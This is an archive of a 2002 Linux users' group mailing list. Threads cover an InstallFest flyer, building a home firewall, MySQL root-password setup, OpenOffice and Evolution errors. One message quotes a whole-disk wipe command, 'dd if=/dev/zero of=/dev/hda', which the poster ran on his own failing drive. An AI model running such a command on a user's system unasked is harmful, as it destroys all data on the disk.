encrypted DVDs (which is all of my DVD library, unfortunately). Any of you > have any experience on this? Although I haven't tried the other software, I used to use VideoLAN (videolan.org) for playing DVDs. I know I used it for encrypted DVDs, but I no longer see any mention of that, so perhaps the feature was removed? - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8/weSpNoctRtUIRQRAjJlAJ9ARKxYSftI2yDycCxzNVXXsov0uQCfUUkM XzUT+kxlXsRCu3GfdeYiu1k= =rdgK -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:03:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Wed, 5 Jun 2002 23:03:35 -0700 Subject: Who are the sponsors? In-Reply-To: References: Message-ID: <200206052303.35268.alandd@mindspring.com> That would be me. I have asked them about it but had no solid response. I will jog them again. Alan On Wednesday 05 June 2002 10:32 pm, Matt Alexander wrote: > I wonder if Intel would be willing to help out? Especially since they're > giving a presentation to the PLUG next week... > Could whoever is in contact with them for their presentation ask them if > they'd like to be involved in the InstallFest? From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 08:41:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Thu, 6 Jun 2002 01:41:06 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> References: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <20020606014106.243d55c9.snoogans@qwest.net> Okay after trying to set this up i failed ... If i brought this box and all the applicable information into the installfest would someone be able to help me set it up? On Wed, 5 Jun 2002 18:36:27 -0700 "robert jorgenson" wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 09:19:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 6 Jun 2002 02:19:15 -0700 (MST) Subject: firewall In-Reply-To: <20020606014106.243d55c9.snoogans@qwest.net> Message-ID: Am 06. Jun, 2002 schwätzte robert jorgenson so: > Okay after trying to set this up i failed ... If i brought this box and > all the applicable information into the installfest would someone be able > to help me set it up? certainly. ciao, der.hans -- # https://www.LuftHans.com/ # Don't step in front of speeding cars, don't eat explosives # and don't use m$ LookOut :). - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 09:33:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Thu, 6 Jun 2002 02:33:02 -0700 (PDT) Subject: firewall In-Reply-To: <20020606014106.243d55c9.snoogans@qwest.net> Message-ID: <20020606093302.38647.qmail@web13907.mail.yahoo.com> I do have a cd for it, I will also put the installation manual on the cd for reference and bring it to the installfest. I am sure something can be figured out. Can you install a cd-rom just for the installation. I have one laying around that I could bring. mike --- robert jorgenson wrote: > Okay after trying to set this up i failed ... If i > brought this box and all the applicable information > into the installfest would someone be able to help > me set it up? > > > On Wed, 5 Jun 2002 18:36:27 -0700 > "robert jorgenson" wrote: > > > Ok i got this P1 200 mhz box here i want to turn > into a firewall, its got a floppy drive and a 2 gig > HD(couldn't find anything smaller), a 3com NIC, a > realtek NIC, 64 megs of RAM and i was wondering what > would be a good small firewall distro that i could > install without a cdrom. Right now my setup is like > this ... > > > > > Parents Wintendo Box > > / > > Internet--qwest gateway box--4 port hub--[ > > \ > > 8 port > hub--My main box > > > > Im thinking it would be best to put the firewall > infront of the first 4 port hub but my parents are > wierd and i doubt they would let me do that, so i > will probably be putting it in front of my hub. I > really just want something to keep unwanted things > out of my box. Plus i also want to set up a > web/ftp/email server sometime in the near future but > thats soemthing else alltogether :) Any help is > apreciated thanks :) > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 11:47:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Thu, 6 Jun 2002 04:47:43 -0700 Subject: firewall In-Reply-To: <20020606093302.38647.qmail@web13907.mail.yahoo.com> References: <20020606014106.243d55c9.snoogans@qwest.net> <20020606093302.38647.qmail@web13907.mail.yahoo.com> Message-ID: <20020606044743.41a758fb.snoogans@qwest.net> After soem testing it looks like my HD is fried, booted from a couple of debian install disks and tried to format the disk clean and got a ton of IO errors =/ i tried dd if=/dev/zero of=/dev/hda on it and it gave the same error with 1 in and 0 out. Ill prolly have to stop by that computer swap mart to try and find something affordable for it. Anyone know about how much a small hard drive would cost or have one lying around they can sell? On Thu, 6 Jun 2002 02:33:02 -0700 (PDT) "MCR" wrote: > I do have a cd for it, I will also put the > installation manual on the cd for reference and bring > it to the installfest. I am sure something can be > figured out. Can you install a cd-rom just for the > installation. I have one laying around that I could > bring. > > mike > > > > > --- robert jorgenson wrote: > > Okay after trying to set this up i failed ... If i > > brought this box and all the applicable information > > into the installfest would someone be able to help > > me set it up? > > > > > > On Wed, 5 Jun 2002 18:36:27 -0700 > > "robert jorgenson" wrote: > > > > > Ok i got this P1 200 mhz box here i want to turn > > into a firewall, its got a floppy drive and a 2 gig > > HD(couldn't find anything smaller), a 3com NIC, a > > realtek NIC, 64 megs of RAM and i was wondering what > > would be a good small firewall distro that i could > > install without a cdrom. Right now my setup is like > > this ... > > > > > > > > Parents Wintendo Box > > > / > > > Internet--qwest gateway box--4 port hub--[ > > > \ > > > 8 port > > hub--My main box > > > > > > Im thinking it would be best to put the firewall > > infront of the first 4 port hub but my parents are > > wierd and i doubt they would let me do that, so i > > will probably be putting it in front of my hub. I > > really just want something to keep unwanted things > > out of my box. Plus i also want to set up a > > web/ftp/email server sometime in the near future but > > thats soemthing else alltogether :) Any help is > > apreciated thanks :) > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 13:51:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Thu, 6 Jun 2002 06:51:11 -0700 Subject: flyer In-Reply-To: <02060605483917.00730@nova.wedge.org> References: <02060605483917.00730@nova.wedge.org> Message-ID: <200206060651.11750.dennisk@sahuaro.f2s.com> A couple of comments on the flyer. I think of advertising in terms of how it would work as a billboard along the freeway. While driving I've got about 3 seconds to take in the message, if the ad doesn't present the key points in that length of time it fails for me. The old advertising adage "Don't write, telegraph!" applies. With that in mind, I'd make the following changes. 1. Use a simpler, bold type face for the headline (Helvetica always works). It will increase the readability and credibility of the ad. 2. Think about replacing GNU/Linux with Linux in the headline to increase readability. People have hear of Linux, but will be confused by GNU/. We can educate them later. 3. Follow the headline with when and where the event is taking place. If all a person remembers from glancing at the flyer is Linux - June 22nd - SCC. The flyer will have done it's job. If there is room put the campus map at the bottom with the Student Center marked. 4. Think about making the graphics smaller than the headline. Seeing the gnu and penguin first, most people will think "animal event" not "computer event" 5. Place a phone number in large bold type at the bottom that people can call for more info. They will jot it down. 6. I think there needs to be more emphasis on the fact that the event is free. Replace "Free and Open to All" with something like "Free Linux Installation Help" This will tell people what the event is about and that there is no charge . Use the word "free" prominently elsewhere in the ad. We can educate them about Free later. 7. Look at the overall wording of the ad and think "Don't write, telegraph!" Rewrite as needed. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 13:53:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 6 Jun 2002 06:53:22 -0700 Subject: OO Rocks Message-ID: <02060606532218.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thanks to Matt, I have installed Open Office on both my Linux box and my wife's Windows 98 box. She works for Wendy's and occasionally gets email from corporate that contains .doc and .xls files. With OO, she has no problem reading, modifying, and printing the documents at a heck of a lower cost than using MS Office. Kudos to the Open Office team for doing a great job. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP9pUysk3ywszI1FEQImRACferdTkaRv++yCQd+h06IkIEs26A0AnjrH 5CvuzxfsrBag/A7r8rCCgwKJ =Ur4e -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 13:54:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 06 Jun 2002 06:54:35 -0700 Subject: mysqld Message-ID: <1023371676.4787.3.camel@barney.azapple.com> dummy me - I started the mysqld without a password and now I can't log in to make changes and set up users. How can I log in without a password? It won't let me log in without a password but there never was any - it's a new installation. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 14:34:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Thu, 6 Jun 2002 07:34:58 -0700 (MST) Subject: mysqld In-Reply-To: <1023371676.4787.3.camel@barney.azapple.com> Message-ID: According to my reference, 'PHP and MySQL Web Development', after making and installing mysql: # scripts/mysql_install_db # cd /usr/local/mysql/bin # ./safe_mysqld & # ./mysqladmin - u root password 'new-password' You may have to kill mysqld, or you might get a way with just the last command to set the root password- it's been a while since I installed mysql but these are the steps took. On 6 Jun 2002, Craig White wrote: > dummy me - I started the mysqld without a password and now I can't log > in to make changes and set up users. How can I log in without a > password? It won't let me log in without a password but there never was > any - it's a new installation. > > Craig > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 15:30:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 6 Jun 2002 08:30:02 -0700 Subject: Flyer rewrite Message-ID: <1023377401.3cff7ffa0486b@webmail.freedom2surf.net> On the bus going to work this morning I did a quick rewrite of the flyer text. Here it is. . . Linux InstallFest June 22nd, 10 a.m. - 4 p.m. Scottsdale Community College Free Linux Installation Help The Phoenix Linux Users Group and Scottsdale Community College present an opportunity for you to learn more about the GNU/Linux operating system - the freely available, secure operating system that runs on ordinary personal computers. Find out why: * Linux offers more freedom and security than your present operating system * Is considered by computer experts the next development in operating systems * Major governments and companies like IBM, HP, Sun, DreamWorks, and Dell are excited about Linux and are using it in their business. * Protects your freedom from software obsolesce and being locked into increasingly higher upgrade costs PLUG members will be available to answer your questions and demonstrate what Linux can do for you. Bring your computer and a PLUG expert will help you install Linux along side your current operating system for free. This is a free event sponsored by PLUG, Scottsdale Comunnity College along with Red Hat Linux, Yellow Dog Linux, TurboLinux, SuSE Linux. For more information please call PLUG member Bill Lindley at 480-947-6100 or visit the PLUG website. --------- Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 16:07:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 09:07:21 -0700 Subject: mozilla 1.0 Message-ID: <200206060907.21182.zen2now@qwest.net> good morning all, i just installed mozilla 1.0 from rpm's which i downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i am running KDE 3.0, mozilla seems to run fine but now when i try to open Evolution i get these warnings: [xxx@xxx xxx]$ evolution evolution-shell-WARNING **: Could not start up component for OAFIID:GNOME_Evolution_Addressbook_ShellComponent. evolution-shell-WARNING **: Cannot activate Evolution component -- OAFIID:GNOME_Evolution_Addressbook_ShellComponent evolution-shell-WARNING **: Could not start up component for OAFIID:GNOME_Evolution_Mail_ShellComponent. evolution-shell-WARNING **: Cannot activate Evolution component -- OAFIID:GNOME_Evolution_Mail_ShellComponent evolution-shell-WARNING **: Could not start up component for OAFIID:GNOME_Evolution_Calendar_ShellComponent. evolution-shell-WARNING **: Cannot activate Evolution component -- OAFIID:GNOME_Evolution_Calendar_ShellComponent evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: 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e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' I have done the google search, but have come up empty handed. anyone have any suggestions for a possible fix? BTW i am running evolution-1.0.3-4. slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 17:49:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 10:49:51 -0700 Subject: mozilla 1.0 In-Reply-To: <200206060907.21182.zen2now@qwest.net> References: <200206060907.21182.zen2now@qwest.net> Message-ID: <200206061049.51343.zen2now@qwest.net> forget it, problem resolved. slr On Thursday 06 June 2002 09:07 am, slr wrote: > good morning all, > > i just installed mozilla 1.0 from rpm's which i > downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i am > running KDE 3.0, mozilla seems to run fine but now when i try to open > Evolution i get these warnings: > > [xxx@xxx xxx]$ evolution > > evolution-shell-WARNING **: Could not start up component for > OAFIID:GNOME_Evolution_Addressbook_ShellComponent. > > evolution-shell-WARNING **: Cannot activate Evolution component -- > OAFIID:GNOME_Evolution_Addressbook_ShellComponent > > evolution-shell-WARNING **: Could not start up component for > OAFIID:GNOME_Evolution_Mail_ShellComponent. > > evolution-shell-WARNING **: Cannot activate Evolution component -- > OAFIID:GNOME_Evolution_Mail_ShellComponent > > evolution-shell-WARNING **: Could not start up component for > OAFIID:GNOME_Evolution_Calendar_ShellComponent. > > evolution-shell-WARNING **: Cannot activate Evolution component -- > OAFIID:GNOME_Evolution_Calendar_ShellComponent > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > 